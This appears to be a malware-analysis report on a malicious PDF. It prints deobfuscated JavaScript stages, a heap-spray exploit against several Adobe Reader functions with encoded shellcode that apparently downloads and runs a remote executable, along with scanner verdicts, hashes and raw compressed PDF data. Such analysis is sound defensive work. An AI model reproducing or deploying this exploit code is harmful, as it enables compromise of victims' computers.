u006a%u\",\"006a%uea89\",\"%uc281%\",\"u015e%u000\",\"0%u895\",\"2%u81ea%u\",\"a6c2%u00\",\"02%u5\",\"200%u006\",\"a%ud0f\",\"f%u056a\",\"%uea89%uc2\",\"81%u015\",\"e%u000\",\"0%uff52%\",\"u5a95%\",\"u0001\",\"%u9d00%u5\",\"f5d%u5a5\",\"e%u5b59%u\",\"c358%u000\",\"0%u0000%u0\",\"000%u0\",\"000%u00\",\"00%u0000%u\",\"0000%u0\",\"000%u6547\",\"%u5474%u\",\"6d65%u5070\",\"%u7461%u\",\"4168%\",\"u4c00\",\"%u616f\",\"%u4c64%u62\",\"69%u6172\",\"%u7972%u0\",\"041%u6547\",\"%u5074%u6f\",\"72%u4\",\"163%u6\",\"464%u65\",\"72%u7\",\"373%u\",\"5700%u\",\"6e69%\",\"u7845%u6\",\"365%u\",\"bb00%uf\",\"289%uf7\",\"89%uc03\",\"0%u75ae%\",\"u29fd%u8\",\"9f7%u31\",\"f9%ubec\",\"0%u003c\",\"%u0000%u\",\"b503%u021b\",\"%u0000%ua\",\"d66%u\",\"8503%u021\",\"b%u0000%u\",\"708b%u\",\"8378%u\",\"1cc6%u\",\"b503%u021\",\"b%u0000%ub\",\"d8d%u02\",\"1f%u000\",\"0%u03ad%u\",\"1b85%u0002\",\"%uab0\",\"0%u03ad\",\"%u1b85%u\",\"0002%u500\",\"0%uad\",\"ab%u850\",\"3%u02\",\"1b%u0000%\",\"u5eab%udb3\",\"1%u56ad%\",\"u8503%\",\"u021b%u00\",\"00%uc689%u\",\"d789%u\",\"fc51%ua6f\",\"3%u7459%u5\",\"e04%u\",\"eb43%u5e\",\"e9%ud1\",\"93%u03e0%u\",\"2785%u000\",\"2%u3100%u9\",\"6f6%u\",\"ad66%ue0c1\",\"%u0302%u1\",\"f85%u0\",\"002%u8900\",\"%uadc6%u8\",\"503%u02\",\"1b%u0\",\"000%u\",\"ebc3%u001\",\"0%u0000%\",\"u0000%u\",\"0000%\",\"u0000%\",\"u0000%u\",\"0000%u00\",\"00%u8900\",\"%u1b85%u00\",\"02%u5\",\"600%ue85\",\"7%uff5\",\"8%uff\",\"ff%u5e5f%\",\"u01ab%u80c\",\"e%ubb3\",\"e%u027\",\"4%uede\",\"b%u55c3%\",\"u4c52\",\"%u4f4d%u2e\",\"4e%u4c44%u\",\"004c%\",\"u5255%u44\",\"4c%u776\",\"f%u6c6e%u\",\"616f%u\",\"5464%\",\"u466f%u6\",\"c69%u4165%\",\"u7500%u6\",\"470%u7461%\",\"u2e65%u\",\"7865%u\",\"0065%u\",\"7263%\",\"u7361%u2e\",\"68%u68\",\"70%u007\",\"0%u7468\",\"%u7074%u2\",\"f3a%u732\",\"f%u6f65\",\"%u742d%u6\",\"172%u6\",\"666%u632e%\",\"u6d6f%u\",\"632f%u\",\"756f%u7\",\"46e%u726\",\"5%u2f73\",\"%u2f3\",\"1%u7075%u\",\"6164%u6\",\"574%u702e%\",\"u7068%u69\",\"3f%u3d64%\",\"u2633%u657\",\"2%u3d74%u6\",\"b6f%u9000\");hxWSuDXe = unescape(hxWSuDXe.join(\"\"));var aMkKKV3ax = 0x400000;var x3CgE4VTY7 = hxWSuDXe.length * 2;var visNssO2 = aMkKKV3ax - (x3CgE4VTY7 + 0x38);var aOfBqSekQk = unescape(\"%u9090%u9090\");aOfBqSekQk = qOYk2XZ8N(aOfBqSekQk, visNssO2);var eEjtQKFInc = (zVtKKX01h - 0x400000) / aMkKKV3ax;for(var unxGYdE5n = 0; unxGYdE5n < eEjtQKFInc; unxGYdE5n++){yz1yyWsr[unxGYdE5n] = aOfBqSekQk + hxWSuDXe;}}function fDUrU7XB(){var nGA9T4uG = 0;var eYoEHriR = app.viewerVersion.toString();app.clearTimeOut(qlvCgEp1);if((eYoEHriR >= 8 && eYoEHriR < 8.102) || eYoEHriR < 7.1){tHiZ9lrUYu(0);var xMxbDF9NZb = unescape(\"%u0c0c%u0c0c\");while(xMxbDF9NZb.length < 44952) xMxbDF9NZb += xMxbDF9NZb;var fjVSKlDUq = this;var ezqeKH4tH = Collab;fjVSKlDUq[\"collabStore\"] = ezqeKH4tH[\"collectEmailInfo\"]({subj : \"\", msg : xMxbDF9NZb});}if((eYoEHriR >= 8.102 && eYoEHriR < 8.104) || (eYoEHriR >= 9 && eYoEHriR < 9.1) || eYoEHriR <= 7.101){try{if(app.doc.Collab.getIcon){tHiZ9lrUYu(2);var gHGLGbxHI = unescape(\"%09\");while(gHGLGbxHI.length < 0x4000){gHGLGbxHI += gHGLGbxHI;}gHGLGbxHI = \"N.\" + gHGLGbxHI;var pghfk27wPm = app;pghfk27wPm[\"doc\"][\"Collab\"][\"getIcon\"](gHGLGbxHI);nGA9T4uG = 1;}else{nGA9T4uG = 1;}}catch(e){nGA9T4uG = 1;}if(nGA9T4uG == 1){if(eYoEHriR == 8.102 || eYoEHriR == 7.1){tHiZ9lrUYu(1);var vT4Q80JUpI = \"12999999999999999999\";for(cwpqFudQLu = 0; cwpqFudQLu < 276; cwpqFudQLu++){vT4Q80JUpI += \"8\";}var xiNiJYKg1 = util;xiNiJYKg1[\"printf\"](\"%45000f\", vT4Q80JUpI);}}}}app.cbVTCzH8X = fDUrU7XB;qlvCgEp1 = app.setTimeOut(\"app.cbVTCzH8X()\", 10);';function e8lvCgEp1(wjcCRLwWYJ){return false;}this.wXWp7zw2BS="fZcC4Vcdn";function qFDhYW7d0(iMJ0PnL4I,vNYmW0FQo){return vNYmW0FQo;}var kSt9A6Z6yr = pGLhKJe2n.replace(/[]/g, '');jBjL5zilQx=8098;var twFKKpkv=new Array('kwqqg4sd','jKZl1k6oC','uaqmSIyPFh');function nY22MpNwk(eWWySbVF8,kBO9In13r,kVaoxPyTAZ){return kVaoxPyTAZ;}var m5BhBlFWe = 'eval';app[m5BhBlFWe](kSt9A6Z6yr);this.fcoHokTh8=27173;function faEMzs3Hx(){}function e9xb5G4yjd(yJfo5LudGj,rBEckMHjQ){return yJfo5LudGj;}
|
|||
generic_stage_recovery_007.js |
deobfuscated-js | generic stage recovery null-collapse -> percent-decode from JavaScript object 18 at offset 0x36AE | 5994 bytes |
SHA-256: 7fdbef5ea7b1b1afe2e79ba74c0cfed3bfbedf81cc62cdf4e1318f908063de26 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). 46 of 75 identifiers look randomly generated (e.g. 'xMxbDF9NZb') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
��function qMcIgSkV9(awxOiFtTb,j5qpCxQc){}this.e0CV7y87=0.89;function hKFYMZBV(d94ooEkVbN,moKPvsw7,oPNmNCV6){return moKPvsw7;}var pGLhKJe2n = 'var yz1yyWsr = new Array();var qlvCgEp1;function qOYk2XZ8N(aOfBqSekQk, visNssO2){while(aOfBqSekQk.length * 2 < visNssO2){aOfBqSekQk += aOfBqSekQk;}aOfBqSekQk = aOfBqSekQk.substring(0, visNssO2 / 2);return aOfBqSekQk;}function tHiZ9lrUYu(zu2WQUQL){if(zu2WQUQL == 0){var zVtKKX01h = 0x0c0c0c0c;}else if(zu2WQUQL == 1){zVtKKX01h = 0x30303030;}var hxWSuDXe = new Array(\"%u5350%u5\",\"251%u575\",\"6%u9c5\",\"5%u00e\",\"8%u0000\",\"%u5d00\",\"%ued83\",\"%u310d\",\"%u64c0%u\",\"4003%u783\",\"0%u8b0c\",\"%u0c40%u7\",\"08b%ua\",\"d1c%u\",\"408b%\",\"ueb08\",\"%u8b09\",\"%u3440\",\"%u408d\",\"%u8b7c%u\",\"3c40%u575\",\"6%u5ebe%\",\"u0001%u\",\"0100%ubf\",\"ee%u014e%\",\"u0000%uef0\",\"1%ud6e8%\",\"u0001%u\",\"5f00%u895e\",\"%u81ea%u\",\"5ec2%\",\"u0001%u\",\"5200%u80\",\"68%u000\",\"0%uff00%u4\",\"e95%u\",\"0001%u8\",\"900%u81ea\",\"%u5ec2%u\",\"0001%u31\",\"00%u01f6\",\"%u8ac2%u\",\"359c%\",\"u0263%\",\"u0000%ufb8\",\"0%u7400%u8\",\"806%u321c%\",\"ueb46%u\",\"c6ee%u32\",\"04%u8900%u\",\"81ea%u45c2\",\"%u0002%u5\",\"200%u9\",\"5ff%u0152\",\"%u0000%ue\",\"a89%u\",\"c281%u\",\"0250%u0\",\"000%u\",\"5052%\",\"u95ff\",\"%u015\",\"6%u0000%u\",\"006a%\",\"u006a%\",\"uea89%uc2\",\"81%u015\",\"e%u0000\",\"%u8952%\",\"u81ea%u78\",\"c2%u0002%\",\"u5200%\",\"u006a%ud\",\"0ff%u056a\",\"%uea89%uc\",\"281%u\",\"015e%u00\",\"00%uff\",\"52%u5a95\",\"%u0001\",\"%u8900%u8\",\"1ea%u5ec2%\",\"u0001%u\",\"5200%\",\"u8068%u0\",\"000%uff\",\"00%u4e95%u\",\"0001%u8900\",\"%u81ea%u\",\"5ec2%u\",\"0001%u31\",\"00%u01\",\"f6%u8a\",\"c2%u3\",\"59c%u02\",\"6e%u0\",\"000%ufb80%\",\"u7400%u\",\"8806%u321c\",\"%ueb4\",\"6%uc6\",\"ee%u3204%u\",\"8900%u81ea\",\"%u45c2\",\"%u0002\",\"%u5200\",\"%u95f\",\"f%u0152\",\"%u000\",\"0%uea89%u\",\"c281%\",\"u0250%u\",\"0000%u505\",\"2%u95ff\",\"%u0156%u00\",\"00%u006a%u\",\"006a%uea89\",\"%uc281%\",\"u015e%u000\",\"0%u895\",\"2%u81ea%u\",\"a6c2%u00\",\"02%u5\",\"200%u006\",\"a%ud0f\",\"f%u056a\",\"%uea89%uc2\",\"81%u015\",\"e%u000\",\"0%uff52%\",\"u5a95%\",\"u0001\",\"%u9d00%u5\",\"f5d%u5a5\",\"e%u5b59%u\",\"c358%u000\",\"0%u0000%u0\",\"000%u0\",\"000%u00\",\"00%u0000%u\",\"0000%u0\",\"000%u6547\",\"%u5474%u\",\"6d65%u5070\",\"%u7461%u\",\"4168%\",\"u4c00\",\"%u616f\",\"%u4c64%u62\",\"69%u6172\",\"%u7972%u0\",\"041%u6547\",\"%u5074%u6f\",\"72%u4\",\"163%u6\",\"464%u65\",\"72%u7\",\"373%u\",\"5700%u\",\"6e69%\",\"u7845%u6\",\"365%u\",\"bb00%uf\",\"289%uf7\",\"89%uc03\",\"0%u75ae%\",\"u29fd%u8\",\"9f7%u31\",\"f9%ubec\",\"0%u003c\",\"%u0000%u\",\"b503%u021b\",\"%u0000%ua\",\"d66%u\",\"8503%u021\",\"b%u0000%u\",\"708b%u\",\"8378%u\",\"1cc6%u\",\"b503%u021\",\"b%u0000%ub\",\"d8d%u02\",\"1f%u000\",\"0%u03ad%u\",\"1b85%u0002\",\"%uab0\",\"0%u03ad\",\"%u1b85%u\",\"0002%u500\",\"0%uad\",\"ab%u850\",\"3%u02\",\"1b%u0000%\",\"u5eab%udb3\",\"1%u56ad%\",\"u8503%\",\"u021b%u00\",\"00%uc689%u\",\"d789%u\",\"fc51%ua6f\",\"3%u7459%u5\",\"e04%u\",\"eb43%u5e\",\"e9%ud1\",\"93%u03e0%u\",\"2785%u000\",\"2%u3100%u9\",\"6f6%u\",\"ad66%ue0c1\",\"%u0302%u1\",\"f85%u0\",\"002%u8900\",\"%uadc6%u8\",\"503%u02\",\"1b%u0\",\"000%u\",\"ebc3%u001\",\"0%u0000%\",\"u0000%u\",\"0000%\",\"u0000%\",\"u0000%u\",\"0000%u00\",\"00%u8900\",\"%u1b85%u00\",\"02%u5\",\"600%ue85\",\"7%uff5\",\"8%uff\",\"ff%u5e5f%\",\"u01ab%u80c\",\"e%ubb3\",\"e%u027\",\"4%uede\",\"b%u55c3%\",\"u4c52\",\"%u4f4d%u2e\",\"4e%u4c44%u\",\"004c%\",\"u5255%u44\",\"4c%u776\",\"f%u6c6e%u\",\"616f%u\",\"5464%\",\"u466f%u6\",\"c69%u4165%\",\"u7500%u6\",\"470%u7461%\",\"u2e65%u\",\"7865%u\",\"0065%u\",\"7263%\",\"u7361%u2e\",\"68%u68\",\"70%u007\",\"0%u7468\",\"%u7074%u2\",\"f3a%u732\",\"f%u6f65\",\"%u742d%u6\",\"172%u6\",\"666%u632e%\",\"u6d6f%u\",\"632f%u\",\"756f%u7\",\"46e%u726\",\"5%u2f73\",\"%u2f3\",\"1%u7075%u\",\"6164%u6\",\"574%u702e%\",\"u7068%u69\",\"3f%u3d64%\",\"u2633%u657\",\"2%u3d74%u6\",\"b6f%u9000\");hxWSuDXe = unescape(hxWSuDXe.join(\"\"));var aMkKKV3ax = 0x400000;var x3CgE4VTY7 = hxWSuDXe.length * 2;var visNssO2 = aMkKKV3ax - (x3CgE4VTY7 + 0x38);var aOfBqSekQk = unescape(\"%u9090%u9090\");aOfBqSekQk = qOYk2XZ8N(aOfBqSekQk, visNssO2);var eEjtQKFInc = (zVtKKX01h - 0x400000) / aMkKKV3ax;for(var unxGYdE5n = 0; unxGYdE5n < eEjtQKFInc; unxGYdE5n++){yz1yyWsr[unxGYdE5n] = aOfBqSekQk + hxWSuDXe;}}function fDUrU7XB(){var nGA9T4uG = 0;var eYoEHriR = app.viewerVersion.toString();app.clearTimeOut(qlvCgEp1);if((eYoEHriR >= 8 && eYoEHriR < 8.102) || eYoEHriR < 7.1){tHiZ9lrUYu(0);var xMxbDF9NZb = unescape(\"%u0c0c%u0c0c\");while(xMxbDF9NZb.length < 44952) xMxbDF9NZb += xMxbDF9NZb;var fjVSKlDUq = this;var ezqeKH4tH = Collab;fjVSKlDUq[\"collabStore\"] = ezqeKH4tH[\"collectEmailInfo\"]({subj : \"\", msg : xMxbDF9NZb});}if((eYoEHriR >= 8.102 && eYoEHriR < 8.104) || (eYoEHriR >= 9 && eYoEHriR < 9.1) || eYoEHriR <= 7.101){try{if(app.doc.Collab.getIcon){tHiZ9lrUYu(2);var gHGLGbxHI = unescape(\" \");while(gHGLGbxHI.length < 0x4000){gHGLGbxHI += gHGLGbxHI;}gHGLGbxHI = \"N.\" + gHGLGbxHI;var pghfk27wPm = app;pghfk27wPm[\"doc\"][\"Collab\"][\"getIcon\"](gHGLGbxHI);nGA9T4uG = 1;}else{nGA9T4uG = 1;}}catch(e){nGA9T4uG = 1;}if(nGA9T4uG == 1){if(eYoEHriR == 8.102 || eYoEHriR == 7.1){tHiZ9lrUYu(1);var vT4Q80JUpI = \"12999999999999999999\";for(cwpqFudQLu = 0; cwpqFudQLu < 276; cwpqFudQLu++){vT4Q80JUpI += \"8\";}var xiNiJYKg1 = util;xiNiJYKg1[\"printf\"](\"E000f\", vT4Q80JUpI);}}}}app.cbVTCzH8X = fDUrU7XB;qlvCgEp1 = app.setTimeOut(\"app.cbVTCzH8X()\", 10);';function e8lvCgEp1(wjcCRLwWYJ){return false;}this.wXWp7zw2BS="fZcC4Vcdn";function qFDhYW7d0(iMJ0PnL4I,vNYmW0FQo){return vNYmW0FQo;}var kSt9A6Z6yr = pGLhKJe2n.replace(/[]/g, '');jBjL5zilQx=8098;var twFKKpkv=new Array('kwqqg4sd','jKZl1k6oC','uaqmSIyPFh');function nY22MpNwk(eWWySbVF8,kBO9In13r,kVaoxPyTAZ){return kVaoxPyTAZ;}var m5BhBlFWe = 'e'+'v'+'a'+'l';app[m5BhBlFWe](kSt9A6Z6yr);this.fcoHokTh8=27173;function faEMzs3Hx(){}function e9xb5G4yjd(yJfo5LudGj,rBEckMHjQ){return yJfo5LudGj;}
|
|||
generic_stage_recovery_008.js |
deobfuscated-js | generic stage recovery split-literal-normalize -> percent-decode from decompressed stream at 0x36AE at offset 0x36AE | 5983 bytes |
SHA-256: 8aee547a0d555f3bbea9081eda63036588b83b1ca490dd391832daa0ba5845f0 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). 46 of 75 identifiers look randomly generated (e.g. 'xMxbDF9NZb') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
function qMcIgSkV9(awxOiFtTb,j5qpCxQc){}this.e0CV7y87=0.89;function hKFYMZBV(d94ooEkVbN,moKPvsw7,oPNmNCV6){return moKPvsw7;}var pGLhKJe2n = 'var yz1yyWsr = new Array();var qlvCgEp1;function qOYk2XZ8N(aOfBqSekQk, visNssO2){while(aOfBqSekQk.length * 2 < visNssO2){aOfBqSekQk += aOfBqSekQk;}aOfBqSekQk = aOfBqSekQk.substring(0, visNssO2 / 2);return aOfBqSekQk;}function tHiZ9lrUYu(zu2WQUQL){if(zu2WQUQL == 0){var zVtKKX01h = 0x0c0c0c0c;}else if(zu2WQUQL == 1){zVtKKX01h = 0x30303030;}var hxWSuDXe = new Array(\"%u5350%u5\",\"251%u575\",\"6%u9c5\",\"5%u00e\",\"8%u0000\",\"%u5d00\",\"%ued83\",\"%u310d\",\"%u64c0%u\",\"4003%u783\",\"0%u8b0c\",\"%u0c40%u7\",\"08b%ua\",\"d1c%u\",\"408b%\",\"ueb08\",\"%u8b09\",\"%u3440\",\"%u408d\",\"%u8b7c%u\",\"3c40%u575\",\"6%u5ebe%\",\"u0001%u\",\"0100%ubf\",\"ee%u014e%\",\"u0000%uef0\",\"1%ud6e8%\",\"u0001%u\",\"5f00%u895e\",\"%u81ea%u\",\"5ec2%\",\"u0001%u\",\"5200%u80\",\"68%u000\",\"0%uff00%u4\",\"e95%u\",\"0001%u8\",\"900%u81ea\",\"%u5ec2%u\",\"0001%u31\",\"00%u01f6\",\"%u8ac2%u\",\"359c%\",\"u0263%\",\"u0000%ufb8\",\"0%u7400%u8\",\"806%u321c%\",\"ueb46%u\",\"c6ee%u32\",\"04%u8900%u\",\"81ea%u45c2\",\"%u0002%u5\",\"200%u9\",\"5ff%u0152\",\"%u0000%ue\",\"a89%u\",\"c281%u\",\"0250%u0\",\"000%u\",\"5052%\",\"u95ff\",\"%u015\",\"6%u0000%u\",\"006a%\",\"u006a%\",\"uea89%uc2\",\"81%u015\",\"e%u0000\",\"%u8952%\",\"u81ea%u78\",\"c2%u0002%\",\"u5200%\",\"u006a%ud\",\"0ff%u056a\",\"%uea89%uc\",\"281%u\",\"015e%u00\",\"00%uff\",\"52%u5a95\",\"%u0001\",\"%u8900%u8\",\"1ea%u5ec2%\",\"u0001%u\",\"5200%\",\"u8068%u0\",\"000%uff\",\"00%u4e95%u\",\"0001%u8900\",\"%u81ea%u\",\"5ec2%u\",\"0001%u31\",\"00%u01\",\"f6%u8a\",\"c2%u3\",\"59c%u02\",\"6e%u0\",\"000%ufb80%\",\"u7400%u\",\"8806%u321c\",\"%ueb4\",\"6%uc6\",\"ee%u3204%u\",\"8900%u81ea\",\"%u45c2\",\"%u0002\",\"%u5200\",\"%u95f\",\"f%u0152\",\"%u000\",\"0%uea89%u\",\"c281%\",\"u0250%u\",\"0000%u505\",\"2%u95ff\",\"%u0156%u00\",\"00%u006a%u\",\"006a%uea89\",\"%uc281%\",\"u015e%u000\",\"0%u895\",\"2%u81ea%u\",\"a6c2%u00\",\"02%u5\",\"200%u006\",\"a%ud0f\",\"f%u056a\",\"%uea89%uc2\",\"81%u015\",\"e%u000\",\"0%uff52%\",\"u5a95%\",\"u0001\",\"%u9d00%u5\",\"f5d%u5a5\",\"e%u5b59%u\",\"c358%u000\",\"0%u0000%u0\",\"000%u0\",\"000%u00\",\"00%u0000%u\",\"0000%u0\",\"000%u6547\",\"%u5474%u\",\"6d65%u5070\",\"%u7461%u\",\"4168%\",\"u4c00\",\"%u616f\",\"%u4c64%u62\",\"69%u6172\",\"%u7972%u0\",\"041%u6547\",\"%u5074%u6f\",\"72%u4\",\"163%u6\",\"464%u65\",\"72%u7\",\"373%u\",\"5700%u\",\"6e69%\",\"u7845%u6\",\"365%u\",\"bb00%uf\",\"289%uf7\",\"89%uc03\",\"0%u75ae%\",\"u29fd%u8\",\"9f7%u31\",\"f9%ubec\",\"0%u003c\",\"%u0000%u\",\"b503%u021b\",\"%u0000%ua\",\"d66%u\",\"8503%u021\",\"b%u0000%u\",\"708b%u\",\"8378%u\",\"1cc6%u\",\"b503%u021\",\"b%u0000%ub\",\"d8d%u02\",\"1f%u000\",\"0%u03ad%u\",\"1b85%u0002\",\"%uab0\",\"0%u03ad\",\"%u1b85%u\",\"0002%u500\",\"0%uad\",\"ab%u850\",\"3%u02\",\"1b%u0000%\",\"u5eab%udb3\",\"1%u56ad%\",\"u8503%\",\"u021b%u00\",\"00%uc689%u\",\"d789%u\",\"fc51%ua6f\",\"3%u7459%u5\",\"e04%u\",\"eb43%u5e\",\"e9%ud1\",\"93%u03e0%u\",\"2785%u000\",\"2%u3100%u9\",\"6f6%u\",\"ad66%ue0c1\",\"%u0302%u1\",\"f85%u0\",\"002%u8900\",\"%uadc6%u8\",\"503%u02\",\"1b%u0\",\"000%u\",\"ebc3%u001\",\"0%u0000%\",\"u0000%u\",\"0000%\",\"u0000%\",\"u0000%u\",\"0000%u00\",\"00%u8900\",\"%u1b85%u00\",\"02%u5\",\"600%ue85\",\"7%uff5\",\"8%uff\",\"ff%u5e5f%\",\"u01ab%u80c\",\"e%ubb3\",\"e%u027\",\"4%uede\",\"b%u55c3%\",\"u4c52\",\"%u4f4d%u2e\",\"4e%u4c44%u\",\"004c%\",\"u5255%u44\",\"4c%u776\",\"f%u6c6e%u\",\"616f%u\",\"5464%\",\"u466f%u6\",\"c69%u4165%\",\"u7500%u6\",\"470%u7461%\",\"u2e65%u\",\"7865%u\",\"0065%u\",\"7263%\",\"u7361%u2e\",\"68%u68\",\"70%u007\",\"0%u7468\",\"%u7074%u2\",\"f3a%u732\",\"f%u6f65\",\"%u742d%u6\",\"172%u6\",\"666%u632e%\",\"u6d6f%u\",\"632f%u\",\"756f%u7\",\"46e%u726\",\"5%u2f73\",\"%u2f3\",\"1%u7075%u\",\"6164%u6\",\"574%u702e%\",\"u7068%u69\",\"3f%u3d64%\",\"u2633%u657\",\"2%u3d74%u6\",\"b6f%u9000\");hxWSuDXe = unescape(hxWSuDXe.join(\"\"));var aMkKKV3ax = 0x400000;var x3CgE4VTY7 = hxWSuDXe.length * 2;var visNssO2 = aMkKKV3ax - (x3CgE4VTY7 + 0x38);var aOfBqSekQk = unescape(\"%u9090%u9090\");aOfBqSekQk = qOYk2XZ8N(aOfBqSekQk, visNssO2);var eEjtQKFInc = (zVtKKX01h - 0x400000) / aMkKKV3ax;for(var unxGYdE5n = 0; unxGYdE5n < eEjtQKFInc; unxGYdE5n++){yz1yyWsr[unxGYdE5n] = aOfBqSekQk + hxWSuDXe;}}function fDUrU7XB(){var nGA9T4uG = 0;var eYoEHriR = app.viewerVersion.toString();app.clearTimeOut(qlvCgEp1);if((eYoEHriR >= 8 && eYoEHriR < 8.102) || eYoEHriR < 7.1){tHiZ9lrUYu(0);var xMxbDF9NZb = unescape(\"%u0c0c%u0c0c\");while(xMxbDF9NZb.length < 44952) xMxbDF9NZb += xMxbDF9NZb;var fjVSKlDUq = this;var ezqeKH4tH = Collab;fjVSKlDUq[\"collabStore\"] = ezqeKH4tH[\"collectEmailInfo\"]({subj : \"\", msg : xMxbDF9NZb});}if((eYoEHriR >= 8.102 && eYoEHriR < 8.104) || (eYoEHriR >= 9 && eYoEHriR < 9.1) || eYoEHriR <= 7.101){try{if(app.doc.Collab.getIcon){tHiZ9lrUYu(2);var gHGLGbxHI = unescape(\" \");while(gHGLGbxHI.length < 0x4000){gHGLGbxHI += gHGLGbxHI;}gHGLGbxHI = \"N.\" + gHGLGbxHI;var pghfk27wPm = app;pghfk27wPm[\"doc\"][\"Collab\"][\"getIcon\"](gHGLGbxHI);nGA9T4uG = 1;}else{nGA9T4uG = 1;}}catch(e){nGA9T4uG = 1;}if(nGA9T4uG == 1){if(eYoEHriR == 8.102 || eYoEHriR == 7.1){tHiZ9lrUYu(1);var vT4Q80JUpI = \"12999999999999999999\";for(cwpqFudQLu = 0; cwpqFudQLu < 276; cwpqFudQLu++){vT4Q80JUpI += \"8\";}var xiNiJYKg1 = util;xiNiJYKg1[\"printf\"](\"E000f\", vT4Q80JUpI);}}}}app.cbVTCzH8X = fDUrU7XB;qlvCgEp1 = app.setTimeOut(\"app.cbVTCzH8X()\", 10);';function e8lvCgEp1(wjcCRLwWYJ){return false;}this.wXWp7zw2BS="fZcC4Vcdn";function qFDhYW7d0(iMJ0PnL4I,vNYmW0FQo){return vNYmW0FQo;}var kSt9A6Z6yr = pGLhKJe2n.replace(/[]/g, '');jBjL5zilQx=8098;var twFKKpkv=new Array('kwqqg4sd','jKZl1k6oC','uaqmSIyPFh');function nY22MpNwk(eWWySbVF8,kBO9In13r,kVaoxPyTAZ){return kVaoxPyTAZ;}var m5BhBlFWe = 'eval';app[m5BhBlFWe](kSt9A6Z6yr);this.fcoHokTh8=27173;function faEMzs3Hx(){}function e9xb5G4yjd(yJfo5LudGj,rBEckMHjQ){return yJfo5LudGj;}
|
|||
generic_stage_recovery_009.js |
deobfuscated-js | generic stage recovery null-collapse -> split-literal-normalize -> percent-decode from raw PDF metadata at offset 0x0 | 21674 bytes |
SHA-256: 237f4d9ca2673cd60ef44d5f2de85031c7a8b291ac5ff7b81614ca824846b802 |
|||
|
Detection
ClamAV:
Pdf.Exploit.CVE_2009_0927-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
%PDF-1.7
3 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 4 0 R>>
endobj
4 0 obj
<</Filter /FlateDecode /Length 2739>>
stream
x�͛M�۸ ���+�j/�!4E�3�8�l�U�d�Nm%[{I�� $89 ��� 53Ќ$J /��%��/� ���n�a0[ІB���-�� ���� ����gz��� A ������n����k4��A��WB�̓���Q0�� � �(��݇ }��ݷcZ�o��#��
_<��3��"������>g�� .��/��Wj�����G���5_��K�9��'a��vה�.�mx� 3{� ��67� �7� �����/����_ g���q�� "� Ŵ�/�Ɋ*��b���K�D7?�1�pj _y�� g � �3�}N%�3���MM�N��t�0%��g�2-�5U�ՊjMZ�6x=���ئ�` ����;�Y�1�<'�dFwڐfykH2���]� �_��=^�kC�Z�tW5ԖJװ� ���>t UB�%坦� N1� �_��Z4�14�xޖ^͛ �G��ﰆ7�r^��R^��P]�T�{ ��R� ��\�XWt���b5mJ���y��`�8 YA��lp��s���^ËR�
>V6jt�1�5���� �D#� ��F �{�0?� j��� �[3]1j�R9�* z^
����� � � ڐi B.eZ���KVqj Da ��,���L҆��!�_J� ���Ji� � �Hv�X %��䬡�����n2}^>���'v�1 ���&� ���-�pIR0��\a"Z���HL�Wχ�����
�0��k��{���̧v����(餴!"��Y� �Ɉ ��ۡO%[�Ђ�P��AT�Z�ʮ�{L_W� ��$�z�(��
�h�|�x^.,cB�0�aM� r$괄r&�3��v q�eVw �6v�L��� �R��5� $��cn��6�*�2�)�6H�� ��+�� �Ӳ���]�^Ug�p��I�6*��:!9 \z�5� "`����V[�� y � X���-U]��� �b$ ��� ��2X�+~
s��ᾧVRf =EXR����-�� �z�_ ��o8��G!3�����'L���ej� Ljƪ �% �F,{��<O *��i�ܱ�$��:�Wy�Ϝ��2 � � < >@�5��
�_.-^�[*z�@:뽎n��D&�i��-�:#�JI=�Se] A�p$S��� K z��O�b'� )�I;
e+dH ^w4E` � ��;) ���:S���g��%�]"2 L̙�넮 � i�����S9�42f���8u>�v��ͼ}Bm �R �،����-�| : �2x�eHhn9����� 6 � a= P��4�N� ٞ~� )�*n� ��j \!�)ʖ2n�XN�d�^[�?�x� ������D�Bp�T�4 5 +�H�} c�t�z����R���m�(�>� �Uj ꩝ �k���"� h�l-xI���Q6��w �%�J֙W��O�� ��v
cc���!Ϝ�_��K��� �s+����Ӻ���@�� ��k%o Q)�Nd �V�` l{C{���D͐���w�ս��z��>M� �;V�^L� �= ǫ}�)#X�6���&�5 �E � n h�K,�V!E�>T�f 2 �j��!�e��[ˆ �@�����Sa�[5be+�8 �o/7��zl :ʠnVr ��k� �n;m�,Tp�p�x�� �r�x�]�&�uÃ���� �� = 'a6'i�%ʹz�d� �+2(v��8�m#�b<]:� � ��������\�-%=��5d e��|Z7w��
��ȹ��� {��,:Q���� �s� h ���x:CV� �ӵ��b|'��[�#i���G��#��n��{���i�I��� �*Iz�� �'�pZ*Q @� t�U��*u���i\����=�7� kK�b��E{]" |�K`�xY˾$��K��/�_���G��s��� �)A�å >m� ����AQ��8'�X:,C�`7���K%��8ji۰��l��8b9d#��5��
���)���I� <�� �J`� o�_H5`���L��#
��a~�<T 1�0 ýO� N�w
��u�a���yì)�0�{ ݆� ��n8�|�6w���f�؆s� t�
�
�[ H����A � v_qd �� d� �u �7w �i��I�7�t��{ �� �w��`�m�%��ky4�h��c.�)�j� �{;�#m �^�; ���U��ߪ G���E�
�� �T�a!���� G ���Y��B���Xs�� e
�� � �l��]ښ��M�x��� ?��c���P-��<��Sf� �� ('p�Ӿ���ܧ]!n;�6s�l} �t ��m��(�Ѻh��q|� ��=��vX�ժ> �^ ��R����������&ߓ�y ��!�̩� \�ik֧usG�� W#��K����A4^gg�qy�|Y� ^8C"��9 =��t��� _�!I��~�놤O㦎AC�s��4%
�5� y����
�� ~L3�Eуh ���m�(v ��z�����B�� ��)��<� �� 3�:��������n�NV��xw ]F�g�Ug����b��-��_v�����dk�� �xo/�� �4}�ļ�����G�}ڶp�> `�p A�d��m �C��p� �QrQ?P�0�d��(� ̜f� }�6wz�W ֘��u0#d�M >u� ��?��+�Ӷ�^?�č7������%۰>m��oA ��0��|}��T��|y�ԧm�cܵ�o��LO�~ ��V��� ���� ��E�q�� ����*� ǫ��
